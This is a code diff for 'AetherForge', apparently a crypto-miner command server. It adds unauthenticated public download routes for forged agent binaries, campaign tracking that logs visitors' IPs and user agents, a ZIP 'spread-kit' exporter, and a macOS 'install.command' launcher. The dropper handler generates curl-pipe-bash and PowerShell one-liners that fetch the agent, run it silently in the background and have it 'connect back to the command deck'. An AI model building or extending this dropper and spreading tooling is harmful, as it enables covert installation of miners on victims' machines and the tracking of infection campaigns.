+    Write-Host "  6. Teardown: revert VM snapshot, delete or archive $DataDir"
+    Write-Host ""
+    Write-Host "  Full playbook: docs/E2E_VALIDATION.md" -ForegroundColor Yellow
+}
+
+Write-Banner "AetherForge E2E Validation"
+Write-Host "  Root:    $Root"
+Write-Host "  DataDir: $DataDir"
+Write-Host "  Server:  $BaseUrl"
+
+Ensure-TestDataDir
+
+if ($PrepareOnly) {
+    Write-Host ""
+    Write-Host "  Test data ready. Start server with:" -ForegroundColor Green
+    Write-Host "    bin\miner-server.exe -port 8989 -data `"$DataDir`"" -ForegroundColor White
+    Show-Tier3Checklist
+    exit 0
+}
+
+if (-not $SkipMineValidate) {
+    Invoke-MineValidate
+}
+
+if (-not $SkipAutomatedTests) {
+    Invoke-AutomatedTests
+}
+
+if (-not $SkipServerCheck) {
+    if (Test-ServerHealthy) {
+        Write-Host "  Server healthy at $BaseUrl" -ForegroundColor Green
+        Invoke-SmokeIfServerUp
+    } else {
+        Write-Host ""
+        Write-Host "  Server not running at $BaseUrl - skipping smoke-test." -ForegroundColor DarkYellow
+        Write-Host "  Start with: bin\miner-server.exe -port 8989 -data `"$DataDir`"" -ForegroundColor DarkYellow
+    }
+}
+
+if ($ForgeAgent) {
+    if (-not (Test-ServerHealthy)) {
+        Write-Host "  -ForgeAgent requires server at $BaseUrl" -ForegroundColor Red
+        exit 1
+    }
+    Write-Banner "Forge test agent via API"
+    Write-Host "  Open Forge in dashboard and build Windows amd64 e2e-validate," -ForegroundColor Yellow
+    Write-Host "  or POST /api/v1/builder/build with your test profile." -ForegroundColor Yellow
+    Write-Host "  (Automated multipart forge omitted - use UI for fusion/prep options.)" -ForegroundColor DarkGray
+}
+
+Show-Tier3Checklist
+Write-Host "  Done." -ForegroundColor Green
--- a/server/config.go
+++ b/server/config.go
@@ -62,6 +62,10 @@ type ServerSettings struct {
 	// FleetSecret is a random token generated once on first run and baked into
 	// every forged agent binary. Agents must present it on connect or be rejected.
 	FleetSecret string `json:"fleet_secret"`
+	// PublicBuildsEnabled exposes all builds on unauthenticated /api/v1/public/* routes.
+	// When false (default), only pinned + public-flagged + latest PublicBuildsLatestN are listed.
+	PublicBuildsEnabled bool `json:"public_builds_enabled"`
+	PublicBuildsLatestN int  `json:"public_builds_latest_n"`
 }

 // PoolEndpoint is a Stratum upstream used after the primary pool fails.
@@ -225,6 +229,7 @@ func DefaultConfig() *Config {
 			ObfuscateDefault:       false,
 			SignEnabled:            false,
 			SignTimestampURL:       "http://timestamp.digicert.com",
+			PublicBuildsLatestN:    3,
 		},
 	}
 }
@@ -556,6 +561,10 @@ func mergeConfig(dst, src *Config) {
 	if src.Server.FleetSecret != "" {
 		dst.Server.FleetSecret = src.Server.FleetSecret
 	}
+	dst.Server.PublicBuildsEnabled = src.Server.PublicBuildsEnabled
+	if src.Server.PublicBuildsLatestN != 0 {
+		dst.Server.PublicBuildsLatestN = src.Server.PublicBuildsLatestN
+	}
 	if src.TunnelDefaults.CloudflaredTargetURL != "" {
 		dst.TunnelDefaults.CloudflaredTargetURL = src.TunnelDefaults.CloudflaredTargetURL
 	}
@@ -866,6 +875,12 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
 		if in(srvKeys, "fleet_secret") && src.Server.FleetSecret != "" {
 			dst.Server.FleetSecret = src.Server.FleetSecret
 		}
+		if in(srvKeys, "public_builds_enabled") {
+			dst.Server.PublicBuildsEnabled = src.Server.PublicBuildsEnabled
+		}
+		if in(srvKeys, "public_builds_latest_n") && src.Server.PublicBuildsLatestN != 0 {
+			dst.Server.PublicBuildsLatestN = src.Server.PublicBuildsLatestN
+		}
 	}

 	if has("tunnel_defaults") {
--- a/server/internal/api/dropper_handler.go
+++ b/server/internal/api/dropper_handler.go
@@ -17,6 +17,9 @@ import (
 //	GET /get?os=windows   — explicit platform: windows | linux | darwin | universal
 //	GET /install.sh       — bash one-liner installer (Linux / macOS)
 //	GET /install.ps1      — PowerShell one-liner installer (Windows)
+//	GET /install.command  — macOS double-click launcher (curl | bash wrapper)
+//
+// Query params: ?os=windows|linux|darwin|universal  ?pin={build_id}  ?c={campaign}
 type DropperHandler struct {
 	db            *dbpkg.Database
 	dataDir       string
@@ -63,24 +66,70 @@ func detectPlatform(r *http.Request) string {
 	return "" // caller will fall back to latest build regardless of platform
 }

-// ServeGet handles GET /get — serves the latest agent binary for the detected platform.
-func (h *DropperHandler) ServeGet(w http.ResponseWriter, r *http.Request) {
-	platform := detectPlatform(r)
+func (h *DropperHandler) logCampaign(r *http.Request, buildID, source string) {
+	if c := r.URL.Query().Get("c"); c != "" {
+		_ = h.db.LogCampaignHit(c, buildID, source, clientIP(r), r.UserAgent())
+	}
+}

-	// Try exact platform match, then fall back to universal, then any.
+func dropperQueryParts(r *http.Request) []string {
+	q := r.URL.Query()
+	var parts []string
+	if pin := strings.TrimSpace(q.Get("pin")); pin != "" {
+		parts = append(parts, "pin="+pin)
+	}
+	if c := strings.TrimSpace(q.Get("c")); c != "" {
+		parts = append(parts, "c="+c)
+	}
+	return parts
+}
+
+func (h *DropperHandler) querySuffix(r *http.Request) string {
+	parts := dropperQueryParts(r)
+	if len(parts) == 0 {
+		return ""
+	}
+	return "?" + strings.Join(parts, "&")
+}
+
+func (h *DropperHandler) getExtraQuery(r *http.Request) string {
+	parts := dropperQueryParts(r)
+	if len(parts) == 0 {
+		return ""
+	}
+	return "&" + strings.Join(parts, "&")
+}
+
+// resolveDropperBuild picks a build from ?pin= or platform heuristics.
+func (h *DropperHandler) resolveDropperBuild(r *http.Request) (*models.BuildRecord, string, string) {
+	if pin := strings.TrimSpace(r.URL.Query().Get("pin")); pin != "" {
+		b, err := h.db.GetBuild(pin)
+		if err == nil && b != nil {
+			path, name := resolveDropperArtifact(h.dataDir, b)
+			return b, path, name
+		}
+	}
+	platform := detectPlatform(r)
 	candidates := []string{platform, "universal", ""}
 	if platform == "" {
 		candidates = []string{"universal", ""}
 	}
-
-	var buildPath, buildName string
 	for _, p := range candidates {
 		b, err := h.db.GetLatestBuildForPlatform(p)
 		if err == nil && b != nil {
-			buildPath, buildName = resolveDropperArtifact(h.dataDir, b)
-			break
+			path, name := resolveDropperArtifact(h.dataDir, b)
+			return b, path, name
 		}
 	}
+	return nil, "", ""
+}
+
+// ServeGet handles GET /get — serves the latest agent binary for the detected platform.
+func (h *DropperHandler) ServeGet(w http.ResponseWriter, r *http.Request) {
+	b, buildPath, buildName := h.resolveDropperBuild(r)
+	if b != nil {
+		h.logCampaign(r, b.ID, "get")
+	}
 	if buildPath == "" {
 		w.Header().Set("Content-Type", "text/plain; charset=utf-8")
 		w.WriteHeader(http.StatusNotFound)
@@ -96,9 +145,18 @@ func (h *DropperHandler) ServeGet(w http.ResponseWriter, r *http.Request) {
 	http.ServeFile(w, r, buildPath)
 }

+func campaignEnvBlock(campaign string) string {
+	if campaign == "" {
+		return ""
+	}
+	return fmt.Sprintf("export AETHER_CAMPAIGN=%q\nexport AETHER_UTM=%q\n", campaign, campaign)
+}
+
 // ServeSh handles GET /install.sh — returns a bash one-liner installer.
 func (h *DropperHandler) ServeSh(w http.ResponseWriter, r *http.Request) {
 	base := h.resolveBase(r)
+	campaign := strings.TrimSpace(r.URL.Query().Get("c"))
+	h.logCampaign(r, "", "install.sh")

 	script := fmt.Sprintf(`#!/bin/sh
 # AetherForge agent installer
@@ -109,6 +167,7 @@ set -e

 die() { echo "[!] $*" >&2; exit 1; }

+%s
 OS="$(uname -s | tr '[:upper:]' '[:lower:]')"
 ARCH="$(uname -m)"
 case "$ARCH" in
@@ -123,7 +182,7 @@ DEST="$TMPDIR/worker"

 # Download and verify we got a real file, not a 404 page.
 # Note: double-quotes around URL so $OS is expanded by the shell.
-HTTP_CODE="$(curl -sL -w "%%{http_code}" -o "$DEST" "%[1]s/get?os=$OS")"
+HTTP_CODE="$(curl -sL -w "%%{http_code}" -o "$DEST" "%[1]s/get?os=$OS%[2]s")"
 if [ "$HTTP_CODE" != "200" ]; then
  cat "$DEST" >&2
  die "Server returned HTTP $HTTP_CODE — forge an agent first from the dashboard."
@@ -152,7 +211,7 @@ chmod +x "$DEST"
 echo "[*] Launching agent..."
 nohup "$DEST" >/dev/null 2>&1 &
 echo "[+] Agent started (pid $!) — it will install itself and connect back to the command deck."
-`, base)
+`, base, h.getExtraQuery(r), campaignEnvBlock(campaign))

 	w.Header().Set("Content-Type", "text/plain; charset=utf-8")
 	w.Header().Set("Content-Disposition", `inline; filename="install.sh"`)
@@ -162,16 +221,25 @@ echo "[+] Agent started (pid $!) — it will install itself and connect back to
 // ServePs1 handles GET /install.ps1 — returns a PowerShell one-liner installer.
 func (h *DropperHandler) ServePs1(w http.ResponseWriter, r *http.Request) {
 	base := h.resolveBase(r)
+	campaign := strings.TrimSpace(r.URL.Query().Get("c"))
+	h.logCampaign(r, "", "install.ps1")

 	// Build script as a regular string — backtick in Go raw strings conflicts
 	// with PowerShell's escape character.
 	bt := "`"
 	nl := "\r\n"

+	campaignBlock := ""
+	if campaign != "" {
+		campaignBlock = "$env:AETHER_CAMPAIGN = '" + campaign + "'" + nl +
+			"$env:AETHER_UTM = '" + campaign + "'" + nl + nl
+	}
+
 	script := "# AetherForge dropper" + nl +
 		"$ErrorActionPreference = 'SilentlyContinue'" + nl +
 		"$ProgressPreference   = 'SilentlyContinue'" + nl + nl +
-		"$url = '" + base + "/get?os=windows'" + nl +
+		campaignBlock +
+		"$url = '" + base + "/get?os=windows" + h.getExtraQuery(r) + "'" + nl +
 		"$tmp = [System.IO.Path]::Combine($env:TEMP, [System.IO.Path]::GetRandomFileName())" + nl + nl +
 		"try {" + nl +
 		"    (New-Object Net.WebClient).DownloadFile($url, $tmp)" + nl +
@@ -199,6 +267,25 @@ func (h *DropperHandler) ServePs1(w http.ResponseWriter, r *http.Request) {
 	fmt.Fprint(w, script)
 }

+// ServeCommand handles GET /install.command — macOS double-clickable shell script.
+func (h *DropperHandler) ServeCommand(w http.ResponseWriter, r *http.Request) {
+	base := h.resolveBase(r)
+	suffix := h.querySuffix(r)
+	campaign := strings.TrimSpace(r.URL.Query().Get("c"))
+	h.logCampaign(r, "", "install.command")
+
+	script := fmt.Sprintf(`#!/bin/bash
+# AetherForge macOS launcher — double-click or: curl -sL '%[1]s/install.command' | bash
+set -e
+%[2]s
+curl -sL '%[1]s/install.sh%[3]s' | bash
+`, base, campaignEnvBlock(campaign), suffix)
+
+	w.Header().Set("Content-Type", "text/plain; charset=utf-8")
+	w.Header().Set("Content-Disposition", `inline; filename="install.command"`)
+	fmt.Fprint(w, script)
+}
+
 // resolveBase returns the public base URL for script generation, falling back
 // to the request's Host header when no public URL is configured.
 func (h *DropperHandler) resolveBase(r *http.Request) string {
--- a/server/internal/api/integration_test.go
+++ b/server/internal/api/integration_test.go
@@ -77,7 +77,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
 	_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)

 	dropperHandler := NewDropperHandler(database, dataDir, nil)
-	return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, webRoot, dataDir, nil, 8989), wsHub, database, dataDir
+	return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, nil, nil, webRoot, dataDir, nil, 8989), wsHub, database, dataDir
 }

 func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder {
--- a/server/internal/api/public_handler.go
+++ b/server/internal/api/public_handler.go
@@ -0,0 +1,148 @@
+package api
+
+import (
+	"net/http"
+	"os"
+	"path/filepath"
+	"strings"
+
+	dbpkg "crypto-miner-server/internal/db"
+	"crypto-miner-server/internal/models"
+
+	"github.com/go-chi/chi/v5"
+)
+
+// PublicBuildsConfig supplies public-download policy from server config.
+type PublicBuildsConfig struct {
+	Enabled bool
+	LatestN int
+}
+
+// PublicHandler serves unauthenticated build listing and download endpoints.
+type PublicHandler struct {
+	db       *dbpkg.Database
+	dataDir  string
+	configFn func() PublicBuildsConfig
+}
+
+func NewPublicHandler(database *dbpkg.Database, dataDir string, configFn func() PublicBuildsConfig) *PublicHandler {
+	return &PublicHandler{db: database, dataDir: dataDir, configFn: configFn}
+}
+
+type publicBuildDTO struct {
+	ID          string `json:"id"`
+	WorkerName  string `json:"worker_name"`
+	Platform    string `json:"platform"`
+	FileName    string `json:"file_name"`
+	FileSize    int64  `json:"file_size"`
+	BundleSize  int64  `json:"bundle_size"`
+	DownloadURL string `json:"download_url"`
+	CreatedAt   string `json:"created_at"`
+	Pinned      bool   `json:"pinned"`
+	Public      bool   `json:"public"`
+}
+
+func toPublicBuildDTO(b *models.BuildRecord) publicBuildDTO {
+	dl := b.DownloadURL
+	if dl == "" {
+		dl = "/api/v1/public/download/" + b.ID
+	} else if !strings.HasPrefix(dl, "/api/v1/public/") {
+		// Rewrite authenticated artifact path to public when listed
+		if strings.Contains(dl, "/artifact/") {
+			parts := strings.Split(dl, "/artifact/")
+			if len(parts) == 2 {
+				dl = "/api/v1/public/download/" + b.ID + "/artifact/" + parts[1]
+			}
+		} else {
+			dl = "/api/v1/public/download/" + b.ID
+		}
+	}
+	return publicBuildDTO{
+		ID:          b.ID,
+		WorkerName:  b.WorkerName,
+		Platform:    b.Platform,
+		FileName:    b.FileName,
+		FileSize:    b.FileSize,
+		BundleSize:  b.BundleSize,
+		DownloadURL: dl,
+		CreatedAt:   b.CreatedAt.Format("2006-01-02T15:04:05Z07:00"),
+		Pinned:      b.Pinned,
+		Public:      b.Public,
+	}
+}
+
+// GET /api/v1/public/builds
+func (h *PublicHandler) ListBuilds(w http.ResponseWriter, r *http.Request) {
+	cfg := h.configFn()
+	builds, err := h.db.ListPublicBuilds(cfg.Enabled, cfg.LatestN)
+	if err != nil {
+		http.Error(w, err.Error(), http.StatusInternalServerError)
+		return
+	}
+	dtos := make([]publicBuildDTO, 0, len(builds))
+	for _, b := range builds {
+		dtos = append(dtos, toPublicBuildDTO(b))
+	}
+	writeJSON(w, map[string]interface{}{
+		"builds":              dtos,
+		"public_builds_enabled": cfg.Enabled,
+		"latest_n":            cfg.LatestN,
+	})
+}
+
+// GET /api/v1/public/download/{id}
+// GET /api/v1/public/download/{id}/artifact/{name}
+func (h *PublicHandler) Download(w http.ResponseWriter, r *http.Request) {
+	id := chi.URLParam(r, "id")
+	if id == "" {
+		http.Error(w, "build id required", http.StatusBadRequest)
+		return
+	}
+	cfg := h.configFn()
+	ok, err := h.db.IsBuildPubliclyDownloadable(id, cfg.Enabled, cfg.LatestN)
+	if err != nil || !ok {
+		http.Error(w, "build not available for public download", http.StatusNotFound)
+		return
+	}
+
+	if c := r.URL.Query().Get("c"); c != "" {
+		_ = h.db.LogCampaignHit(c, id, "public_download", clientIP(r), r.UserAgent())
+	}
+
+	build, err := h.db.GetBuild(id)
+	if err != nil {
+		http.Error(w, "build not found", http.StatusNotFound)
+		return
+	}
+
+	artifactName := chi.URLParam(r, "name")
+	if artifactName != "" {
+		path := filepath.Join(h.dataDir, "builds", id, filepath.Base(artifactName))
+		if _, err := os.Stat(path); err != nil {
+			http.Error(w, "artifact not found", http.StatusNotFound)
+			return
+		}
+		w.Header().Set("Content-Disposition", `attachment; filename="`+filepath.Base(artifactName)+`"`)
+		http.ServeFile(w, r, path)
+		return
+	}
+
+	path, name := resolveDropperArtifact(h.dataDir, build)
+	if path == "" {
+		http.Error(w, "artifact missing on disk", http.StatusNotFound)
+		return
+	}
+	w.Header().Set("Content-Disposition", `attachment; filename="`+name+`"`)
+	http.ServeFile(w, r, path)
+}
+
+func clientIP(r *http.Request) string {
+	ip := r.Header.Get("X-Forwarded-For")
+	if ip == "" {
+		ip = r.RemoteAddr
+	}
+	if idx := strings.LastIndex(ip, ":"); idx > 0 && strings.Count(ip, ":") == 1 {
+		ip = ip[:idx]
+	}
+	return ip
+}
--- a/server/internal/api/public_handler_test.go
+++ b/server/internal/api/public_handler_test.go
@@ -0,0 +1,90 @@
+package api
+
+import (
+	"encoding/json"
+	"net/http"
+	"net/http/httptest"
+	"os"
+	"path/filepath"
+	"testing"
+	"time"
+
+	"crypto-miner-server/internal/db"
+	"crypto-miner-server/internal/models"
+
+	"github.com/go-chi/chi/v5"
+)
+
+func TestPublicHandlerListAndDownload(t *testing.T) {
+	dataDir := t.TempDir()
+	database, err := db.New(dataDir)
+	if err != nil {
+		t.Fatal(err)
+	}
+	defer database.Close()
+
+	buildID := "pub-build-1"
+	buildDir := filepath.Join(dataDir, "builds", buildID)
+	if err := os.MkdirAll(buildDir, 0755); err != nil {
+		t.Fatal(err)
+	}
+	artifact := filepath.Join(buildDir, "worker.exe")
+	if err := os.WriteFile(artifact, []byte("MZ-fake-exe-content-padded"), 0644); err != nil {
+		t.Fatal(err)
+	}
+
+	rec := &models.BuildRecord{
+		ID: buildID, WorkerName: "pub-worker", ServerURL: "http://x", Wallet: "w",
+		Threads: 1, FileSize: 32, FilePath: artifact, FileName: "worker.exe",
+		Platform: "windows", CreatedAt: time.Now(), Pinned: true,
+	}
+	if err := database.InsertBuild(rec); err != nil {
+		t.Fatal(err)
+	}
+	if err := database.SetPinnedBuild(buildID); err != nil {
+		t.Fatal(err)
+	}
+
+	h := NewPublicHandler(database, dataDir, func() PublicBuildsConfig {
+		return PublicBuildsConfig{Enabled: false, LatestN: 3}
+	})
+
+	listReq := httptest.NewRequest(http.MethodGet, "/api/v1/public/builds", nil)
+	listRec := httptest.NewRecorder()
+	h.ListBuilds(listRec, listReq)
+	if listRec.Code != http.StatusOK {
+		t.Fatalf("list status %d body %s", listRec.Code, listRec.Body.String())
+	}
+	var listBody struct {
+		Builds []publicBuildDTO `json:"builds"`
+	}
+	if err := json.Unmarshal(listRec.Body.Bytes(), &listBody); err != nil {
+		t.Fatal(err)
+	}
+	if len(listBody.Builds) == 0 {
+		t.Fatal("expected pinned build in public list")
+	}
+
+	r := chi.NewRouter()
+	r.Get("/public/download/{id}", h.Download)
+	dlReq := httptest.NewRequest(http.MethodGet, "/public/download/"+buildID+"?c=test-camp", nil)
+	dlRec := httptest.NewRecorder()
+	r.ServeHTTP(dlRec, dlReq)
+	if dlRec.Code != http.StatusOK {
+		t.Fatalf("download status %d", dlRec.Code)
+	}
+
+	hits, err := database.ListCampaignHits(10)
+	if err != nil {
+		t.Fatal(err)
+	}
+	found := false
+	for _, hit := range hits {
+		if hit.Campaign == "test-camp" {
+			found = true
+		}
+	}
+	if !found {
+		t.Fatal("expected campaign hit logged for public download")
+	}
+}
--- a/server/internal/api/router.go
+++ b/server/internal/api/router.go
@@ -413,7 +413,8 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
 		// NOTE: build download/artifact routes are intentionally NOT in this list —
 		// they require fleet-secret or Basic Auth (see isDownload block below).
 		if path == "/api/v1/health" ||
-			path == "/get" || path == "/install.sh" || path == "/install.ps1" {
+			path == "/get" || path == "/install.sh" || path == "/install.ps1" || path == "/install.command" ||
+			strings.HasPrefix(path, "/api/v1/public/") {
 			next.ServeHTTP(w, r)
 			return
 		}
@@ -490,7 +491,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
 	})
 }

-func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, serverVersion ...string) http.Handler {
+func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, spreadHandler *SpreadHandler, publicHandler *PublicHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, serverVersion ...string) http.Handler {
 	ensureUsersLoaded(dataDir)

 	version := "AetherForge"
@@ -578,6 +579,9 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
 		// Builds
 		r.Get("/builds", h.ListBuilds)
 		r.Put("/builds/{id}/pin", h.PinBuild)
+		if spreadHandler != nil {
+			r.Put("/builds/{id}/public", spreadHandler.SetBuildPublic)
+		}
 		r.Delete("/builds/pin", h.UnpinAll)
 		r.Delete("/builds/{id}", h.DeleteBuild)
 		r.Get("/builds/{id}/download", builderHandler.DownloadBuild)
@@ -591,6 +595,12 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
 		// Builder
 		r.Post("/builder/build", builderHandler.ServeHTTP)
 		r.Post("/builder/estimate", builderHandler.ServeEstimate)
+		if spreadHandler != nil {
+			r.Post("/builder/spread-kit-export", spreadHandler.ExportSpreadKit)
+			r.Get("/emberwake/notes", spreadHandler.GetNotes)
+			r.Put("/emberwake/notes", spreadHandler.PutNotes)
+			r.Get("/emberwake/campaigns", spreadHandler.GetCampaigns)
+		}
 		// Path Forge: walk a local server path, place launchers next to every file
 		if pathForgeHandler != nil {
 			r.Post("/builder/path-forge", pathForgeHandler.ServeHTTP)
@@ -683,6 +693,13 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
 		r.Post("/agent/heartbeat", aiHandler.HandleHeartbeat)
 		r.Post("/agent/beacon", wsHub.HandleAgentBeacon)
 		r.Post("/agent/beacon/result", wsHub.HandleAgentBeaconResult)
+
+		// Public builds (also bypass auth in middleware — listed here for chi routing)
+		if publicHandler != nil {
+			r.Get("/public/builds", publicHandler.ListBuilds)
+			r.Get("/public/download/{id}", publicHandler.Download)
+			r.Get("/public/download/{id}/artifact/{name}", publicHandler.Download)
+		}
 	})

 	// WebSocket
@@ -694,6 +711,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
 		r.Get("/get", dropperHandler.ServeGet)
 		r.Get("/install.sh", dropperHandler.ServeSh)
 		r.Get("/install.ps1", dropperHandler.ServePs1)
+		r.Get("/install.command", dropperHandler.ServeCommand)
 	}

 	// SUPP Seek agent download endpoints — serve agent binaries so launcher scripts
--- a/server/internal/api/router_test.go
+++ b/server/internal/api/router_test.go
@@ -428,7 +428,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) {
 	fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
 	builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
 	blueprintHandler := NewBlueprintHandler(dataDir)
-	router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, dataDir, nil), nil, nil, "", dataDir, nil, 8989)
+	router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, "", dataDir, nil, 8989)

 	dlURL := "/api/v1/builds/" + buildID + "/download"

@@ -505,7 +505,7 @@ func TestRouterNoWebRootFallback(t *testing.T) {
 	builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
 	blueprintHandler := NewBlueprintHandler(dataDir)

-	router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, "", dataDir, nil, 8989)
+	router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, "", dataDir, nil, 8989)

 	req := httptest.NewRequest(http.MethodGet, "/", nil)
 	rec := httptest.NewRecorder()
--- a/server/internal/api/spread_handler.go
+++ b/server/internal/api/spread_handler.go
@@ -0,0 +1,219 @@
+package api
+
+import (
+	"archive/zip"
+	"bytes"
+	"encoding/json"
+	"io"
+	"net/http"
+	"os"
+	"path/filepath"
+	"strings"
+	"sync"
+	"time"
+
+	dbpkg "crypto-miner-server/internal/db"
+
+	"github.com/go-chi/chi/v5"
+)
+
+// SpreadHandler covers Emberwake notes, campaign stats, and spread-kit ZIP export.
+type SpreadHandler struct {
+	db          *dbpkg.Database
+	dataDir     string
+	projectRoot string
+	wsHub       *WSHub
+	notesMu     sync.RWMutex
+}
+
+func NewSpreadHandler(database *dbpkg.Database, dataDir, projectRoot string, wsHub *WSHub) *SpreadHandler {
+	return &SpreadHandler{db: database, dataDir: dataDir, projectRoot: projectRoot, wsHub: wsHub}
+}
+
+func (h *SpreadHandler) notesPath() string {
+	return filepath.Join(h.dataDir, "emberwake-notes.json")
+}
+
+type emberwakeNotes struct {
+	Content   string `json:"content"`
+	UpdatedAt string `json:"updated_at"`
+	UpdatedBy string `json:"updated_by"`
+}
+
+func (h *SpreadHandler) readNotes() emberwakeNotes {
+	h.notesMu.RLock()
+	defer h.notesMu.RUnlock()
+	data, err := os.ReadFile(h.notesPath())
+	if err != nil {
+		return emberwakeNotes{Content: "", UpdatedAt: "", UpdatedBy: ""}
+	}
+	var n emberwakeNotes
+	if json.Unmarshal(data, &n) != nil {
+		return emberwakeNotes{}
+	}
+	return n
+}
+
+func (h *SpreadHandler) writeNotes(n emberwakeNotes) error {
+	h.notesMu.Lock()
+	defer h.notesMu.Unlock()
+	data, err := json.MarshalIndent(n, "", "  ")
+	if err != nil {
+		return err
+	}
+	return os.WriteFile(h.notesPath(), data, 0644)
+}
+
+// GET /api/v1/emberwake/notes
+func (h *SpreadHandler) GetNotes(w http.ResponseWriter, r *http.Request) {
+	writeJSON(w, h.readNotes())
+}
+
+// PUT /api/v1/emberwake/notes
+func (h *SpreadHandler) PutNotes(w http.ResponseWriter, r *http.Request) {
+	var body struct {
+		Content string `json:"content"`
+	}
+	if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
+		http.Error(w, "invalid JSON", http.StatusBadRequest)
+		return
+	}
+	n := emberwakeNotes{
+		Content:   body.Content,
+		UpdatedAt: time.Now().UTC().Format(time.RFC3339),
+		UpdatedBy: AuthUsername(r),
+	}
+	if err := h.writeNotes(n); err != nil {
+		http.Error(w, err.Error(), http.StatusInternalServerError)
+		return
+	}
+	if h.wsHub != nil {
+		h.wsHub.BroadcastEmberwakeNotes(n)
+	}
+	writeJSON(w, n)
+}
+
+// GET /api/v1/emberwake/campaigns
+func (h *SpreadHandler) GetCampaigns(w http.ResponseWriter, r *http.Request) {
+	hits, err := h.db.ListCampaignHits(50)
+	if err != nil {
+		http.Error(w, err.Error(), http.StatusInternalServerError)
+		return
+	}
+	if hits == nil {
+		hits = []dbpkg.CampaignHitSummary{}
+	}
+	writeJSON(w, map[string]interface{}{"campaigns": hits})
+}
+
+type spreadKitExportRequest struct {
+	BuildID   string `json:"build_id"`
+	ServerURL string `json:"server_url"`
+	Campaign  string `json:"campaign"`
+}
+
+// POST /api/v1/builder/spread-kit-export
+func (h *SpreadHandler) ExportSpreadKit(w http.ResponseWriter, r *http.Request) {
+	var req spreadKitExportRequest
+	if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
+		http.Error(w, "invalid JSON", http.StatusBadRequest)
+		return
+	}
+	req.BuildID = strings.TrimSpace(req.BuildID)
+	req.ServerURL = strings.TrimRight(strings.TrimSpace(req.ServerURL), "/")
+	req.Campaign = strings.TrimSpace(req.Campaign)
+	if req.ServerURL == "" {
+		http.Error(w, "server_url required", http.StatusBadRequest)
+		return
+	}
+
+	templateDir := filepath.Join(h.projectRoot, "spread-kit-web-publisher")
+	if _, err := os.Stat(templateDir); err != nil {
+		http.Error(w, "spread-kit-web-publisher templates not found", http.StatusNotFound)
+		return
+	}
+
+	var qparts []string
+	if req.BuildID != "" {
+		qparts = append(qparts, "pin="+req.BuildID)
+	}
+	if req.Campaign != "" {
+		qparts = append(qparts, "c="+req.Campaign)
+	}
+	querySuffix := ""
+	getQuerySuffix := ""
+	if len(qparts) > 0 {
+		joined := strings.Join(qparts, "&")
+		querySuffix = "?" + joined
+		getQuerySuffix = "&" + joined
+	}
+	repl := map[string]string{
+		"{{SERVER_URL}}":       req.ServerURL,
+		"{{BUILD_ID}}":         req.BuildID,
+		"{{CAMPAIGN}}":         req.Campaign,
+		"{{QUERY_SUFFIX}}":     querySuffix,
+		"{{GET_QUERY_SUFFIX}}": getQuerySuffix,
+		"{{CAMPAIGN_QUERY}}":   querySuffix,
+		"{{PIN_QUERY}}":        "",
+	}
+
+	var buf bytes.Buffer
+	zw := zip.NewWriter(&buf)
+	err := filepath.Walk(templateDir, func(path string, info os.FileInfo, err error) error {
+		if err != nil || info.IsDir() {
+			return err
+		}
+		rel, err := filepath.Rel(templateDir, path)
+		if err != nil {
+			return err
+		}
+		rel = filepath.ToSlash(rel)
+		data, err := os.ReadFile(path)
+		if err != nil {
+			return err
+		}
+		content := string(data)
+		for k, v := range repl {
+			content = strings.ReplaceAll(content, k, v)
+		}
+		w, err := zw.Create(rel)
+		if err != nil {
+			return err
+		}
+		_, err = io.WriteString(w, content)
+		return err
+	})
+	if err != nil {
+		http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError)
+		return
+	}
+	if err := zw.Close(); err != nil {
+		http.Error(w, err.Error(), http.StatusInternalServerError)
+		return
+	}
+
+	filename := "emberwake-spread-kit.zip"
+	if req.Campaign != "" {
+		filename = "emberwake-" + req.Campaign + ".zip"
+	}
+	w.Header().Set("Content-Type", "application/zip")
+	w.Header().Set("Content-Disposition", `attachment; filename="`+filename+`"`)
+	w.Write(buf.Bytes())
+}
+
+// PUT /api/v1/builds/{id}/public
+func (h *SpreadHandler) SetBuildPublic(w http.ResponseWriter, r *http.Request) {
+	id := chi.URLParam(r, "id")
+	var body struct {
+		Public bool `json:"public"`
+	}
